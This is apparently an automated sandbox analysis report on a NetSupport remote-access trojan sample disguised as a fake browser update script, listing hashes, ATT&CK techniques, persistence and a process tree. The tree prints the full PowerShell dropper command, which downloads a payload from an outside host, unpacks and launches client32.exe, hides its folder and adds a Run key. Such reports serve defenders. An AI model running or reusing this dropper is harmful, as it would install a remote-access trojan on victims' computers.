netsupport | f69fc48e63d4a52deea5efe6e6e5f3d2dc1fd0494d7969d7a2f48639e0cea4ff

Analysis

max time kernel
138s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231130-en
resource tags

arch:x64arch:x86image:win10v2004-20231130-enlocale:en-usos:windows10-2004-x64system
submitted
13/12/2023, 21:34

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General

Target

Setup/Update_browser_17.645329.js
Size

297KB
MD5

21672be9e05cd64b67a78bf882b9faa2
SHA1

9d511b85ee408e1bfc15856f4cd55a83ed748c6b
SHA256

89d46c03b8da238b4bca7ad1d0673da49acb5b6bbdadb8f2467ab289c18d6b37
SHA512

95d936119230e2523bea6c42f1309d12e2d11f4f1ed6dab816175038ad2d875a973c4d6edef6e08b4c4fb93c13cb8e9e8a95ddd032aef4db8f7ea12b8e0e4f21
SSDEEP

3072:4OpyDJu8XUtQQSO1T7cbF/nlz3wq2BC/OpyDJu8XUtQQSO1T7cbF/nlz3wq2Bp:lcJ6QhO1T7cZd6BZcJ6QhO1T7cZd6Bp

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://mindsnatchers.com/GetImageData.php?13604

exe.dropper

https://mindsnatchers.com/GetImageData.php?13604

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	4488	wscript.exe
22	4972	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1791582586-1997866593-3795608343-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4440	client32.exe

Loads dropped DLL 5 IoCs

pid	Process
4440	client32.exe
4440	client32.exe
4440	client32.exe
4440	client32.exe
4440	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1791582586-1997866593-3795608343-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DIVXX = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-874\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4972	powershell.exe
4972	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeSecurityPrivilege	4440	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4440	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4488 wrote to memory of 4972	4488	wscript.exe	88
PID 4488 wrote to memory of 4972	4488	wscript.exe	88
PID 4972 wrote to memory of 4440	4972	powershell.exe	93
PID 4972 wrote to memory of 4440	4972	powershell.exe	93
PID 4972 wrote to memory of 4440	4972	powershell.exe	93

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Setup\Update_browser_17.645329.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $IFvgNsMDekYgSpCEAyHPB='https://mindsnatchers.com/GetImageData.php?13604';$PTMiFFnlesyyyGDORXmSieuwmHxuUVEWioy=(New-Object System.Net.WebClient).DownloadString($IFvgNsMDekYgSpCEAyHPB);$IyeRwpueefKICbKpQpKHQbldvdhQWGUaYHm=[System.Convert]::FromBase64String($PTMiFFnlesyyyGDORXmSieuwmHxuUVEWioy);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $imISfwcmkVzRrkLMAaqcOtajIwbFNSh=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $imISfwcmkVzRrkLMAaqcOtajIwbFNSh -PathType Container)) { New-Item -Path $imISfwcmkVzRrkLMAaqcOtajIwbFNSh -ItemType Directory };$p=Join-Path $imISfwcmkVzRrkLMAaqcOtajIwbFNSh 'rtr.zip';[System.IO.File]::WriteAllBytes($p,$IyeRwpueefKICbKpQpKHQbldvdhQWGUaYHm);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$imISfwcmkVzRrkLMAaqcOtajIwbFNSh)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $imISfwcmkVzRrkLMAaqcOtajIwbFNSh 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $imISfwcmkVzRrkLMAaqcOtajIwbFNSh -Force; $FSDFSSD.attributes='Hidden';$s=$imISfwcmkVzRrkLMAaqcOtajIwbFNSh+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='DIVXX';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Users\Admin\AppData\Roaming\DIVX-874\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX-874\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0kgu5pwc.vsz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\HTCTL32.DLL

Filesize
30KB

MD5
168a4f93cad3e9685ba3a09d2f79266c

SHA1
b64940017ea4e1b41c520378f0ed988541232349

SHA256
552f80b9710202d2358fc8b6723ad01f64cbc595db383f0e10c2fbc531a24430

SHA512
7875a6bded165a4a0681948111d342c1e643b558c406685a40a12722d0514b260c87e2c52903e31008c5a305c652428daac74ce69e3aee47893d33129d40f749

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\HTCTL32.DLL

Filesize
46KB

MD5
147a28ef072f1018a9f33a93800d9a0c

SHA1
1f9e74e3c37a4a389416aed89af6b0e89a0e6fe0

SHA256
90f5852bef2193fc8b32bc45de5f03cb1524d029deb39d9ab0a62c42417b5ace

SHA512
b617e0b30c80b1144a3fa607d62f29caeb6dc977e4d521c707cb5f4ec09bb3311b0bf7e84b8a1c2651f2705f0ec30f810713982e5a15a8ccb4a791c994ddf6da

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\MSVCR100.dll

Filesize
46KB

MD5
1f3dfd1bce9ee245fd950a842ac39759

SHA1
01bc7f6d1b71a0f8bfe04fe4359cce817e62b5f3

SHA256
4e40d978adaade35833f3e9e6da4775cb5b91898c9882dddd32fee2755db33c0

SHA512
85d90f0a86876caccb52d11ca32227178405ca8796f7fe0fe5fa2ee2e7b1f374d7fea0c216e485154e2128aae6a14e830609258bcb3d129a7b65d679ea258b49

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\NSM.LIC

Filesize
258B

MD5
1b41e64c60ca9dfadeb063cd822ab089

SHA1
abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

SHA256
f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

SHA512
c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\PCICL32.DLL

Filesize
50KB

MD5
745958b652686377187b5b096d7689ab

SHA1
81c31fa4e905461ede79af739dbfae222c469ad3

SHA256
fc089fa105ef88f9091653c6481eefc18e653e96ff8e2ee271cd2a7f23fe3d52

SHA512
33cd9c0dbd5dbd8f9153e8c5a7a8f77f04953e6364944a13feb6a2d243466e25bf063b7643cf34620f505e61b7f44bcc47512755aad926c7103f500ac53bf84e

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\PCICL32.dll

Filesize
93KB

MD5
c9edb2e0e50b1fe9a9811a779f2b6ab9

SHA1
d2ecb8ebd9b139bd6834aaeac3bdded782a5619e

SHA256
cbb5ead90ee30696ad465c083b8752bf1b1851a183eb22f9b13fc193402859f1

SHA512
12bdb8393d7d1572c00b257483035850e11bb8cd395ad4cf5e41c8c5da553d6e6df3ac03432c3b3e1330c0cb9aaf8704f96e84ca4e717a235d41deccb422e728

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\client32.exe

Filesize
78KB

MD5
e6b173d46377150d48160910912104d8

SHA1
2adadce9c003e2067cadb15cdea3a6fdcad56fd9

SHA256
6d83cc7f8ebee2f89862fd5e23d8cc40f6e0503339466e6800e2a65023c2054d

SHA512
a99261125be35b3cfa5a2c562741a63de70c961e2e244166861b29271422b5613cdad60f32d11cedab054c55e71f3184f982bc7a95b33655f483f0c1f6b50c79

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\client32.ini

Filesize
670B

MD5
b11f62b15f97cf5afb117e967c223882

SHA1
d6cc3f4c7cad5bf28d9c44bee2362b8edc69097b

SHA256
13fe71354608a9345d9d7c1600568ec911d718ece989442a39a5601e5fe35586

SHA512
85dbba7dcb1aa1015c186567b06ca2ae5a782a21b0b4008496fb831b39f27e5ee79c716e46aa07a9392fd3037aa1e7b4dbb47f217b1f0eb1c7fc9516d775cc7a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\msvcr100.dll

Filesize
108KB

MD5
3449fb3dacdb08e0b5d3e1a2d03c336b

SHA1
ef0649674923f35f3838bed24b1f396a67167843

SHA256
573a09db73777d70a1638e4789e122e620fbfad9f25db3661e15696f8c04e067

SHA512
529e42d74149ac07d9698a12b9d791f09746e3aeb31025a4ecdf2dda39d28897c310e5cd26a4a5d9d48ddc54344f5c51bdba63f286bf87087946f94acd5bbe6b

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-874\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
memory/4972-15-0x000002098A1A0000-0x000002098A1B2000-memory.dmp

Filesize
72KB

Download
memory/4972-77-0x00007FFC41DF0000-0x00007FFC428B1000-memory.dmp

Filesize
10.8MB

Download
memory/4972-14-0x000002098A170000-0x000002098A17A000-memory.dmp

Filesize
40KB

Download
memory/4972-11-0x0000020989F80000-0x0000020989F90000-memory.dmp

Filesize
64KB

Download
memory/4972-12-0x0000020989F80000-0x0000020989F90000-memory.dmp

Filesize
64KB

Download
memory/4972-10-0x00007FFC41DF0000-0x00007FFC428B1000-memory.dmp

Filesize
10.8MB

Download
memory/4972-0-0x0000020989F90000-0x0000020989FB2000-memory.dmp

Filesize
136KB

Download